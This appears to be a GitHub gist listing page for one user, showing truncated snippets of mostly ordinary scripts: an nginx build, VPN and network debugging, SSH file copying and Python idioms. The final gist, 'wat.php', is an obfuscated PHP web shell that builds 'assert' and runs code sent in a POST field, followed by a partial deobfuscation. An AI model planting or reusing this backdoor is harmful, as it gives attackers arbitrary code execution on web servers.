Skip to content

Instantly share code, notes, and snippets.

namespace Kademlia {
template<int _Size, class _Parent>
struct ID {
char data[_Size];
inline _Parent operator^(ID y) {
_Parent result;
int i;
for (i=0; i<_Size; i++) {
result.data[i] = data[i] ^ y.data[i];
#!/bin/sh
VERSION="1.2.3"
cd nginx-$VERSION
./configure \
--prefix=/usr \
--sbin-path=/usr/sbin/nginx \
--conf-path=/etc/nginx/nginx.conf \
@0xa
0xa / vpn-debug.sh
Last active December 23, 2015 18:09
#!/bin/bash
TESTV='10.99.0.20'
TEST4='8.8.4.4'
TEST6='2001:4860:4860::8888'
TEST_DOMAIN='google.com'
VPN_DNS='10.99.0.20'
EXT_DNS='8.8.4.4'
OUTPUT=$(mktemp --suffix='.txt')
@0xa
0xa / if.py
Created October 4, 2013 16:25
return \
self.get_index() if get & index else \
self.get() if get else \
self.post_index() if post & index else \
self.post() if post else \
HTTPBadRequest()
@0xa
0xa / tfh.sh
Last active December 26, 2015 14:09
git clone https://github.com/CCrypto/tfhnode.git
cd tfhnode
vim tfhnode.ini
# add: db = sqlite:///tmp/tfh.sqlite
python setup.py develop --user
python tfhsetup.py --make-dbtables --make-dbdata
cd ..
@0xa
0xa / inheritance.py
Created November 26, 2013 20:38
Awesome.
class Base(object):
def __init__(self):
print('base!')
super().__init__()
class A(Base):
def __init__(self):
print('A!')
super().__init__()
@0xa
0xa / rcpy.sh
Created November 30, 2013 21:55
Copy files between two remote servers with SSH, using a temporary key
#!/bin/bash
if [[ -z $1 ]] || [[ -z $2 ]]; then
echo "Need at least two locations"
exit 1
fi
pub=$(mktemp)
loc1=$1
@0xa
0xa / netfuu.sh
Created December 31, 2013 00:55
network died, fu.
#!/bin/sh
killall openvpn
killall openvpn -9
while pgrep openvpn; do
echo "[-] waiting for openvpn to die"
sleep 1
done
@0xa
0xa / rebuild_res.sh
Created September 7, 2014 20:00
Wallpaper cache updater
#!/bin/zsh
size="$1"
input="../wallpapers/"
output="./wallpapers_$size/"
mkdir -p $output
walls_count=$(ls -1 $input | wc -l)
count=0
@0xa
0xa / wat.php
Last active August 29, 2015 14:07
Wat.
<?php
@$_="s"."s"./*-/*-*/"e"./*-/*-*/"r";
@$_=/*-/*-*/"a"./*-/*-*/$_./*-/*-*/"t";
@$_/*-/*-*/($/*-/*-*/{"_P"./*-/*-*/"OS"./*-/*-*/"T"}
[/*-/*-*/1/*-/*-*//*-/*-*//*-/*-*//*-/*-*//*-/*-*/]);
?>
Removed comments:
<?php
@$_="s"."s"."e"."r";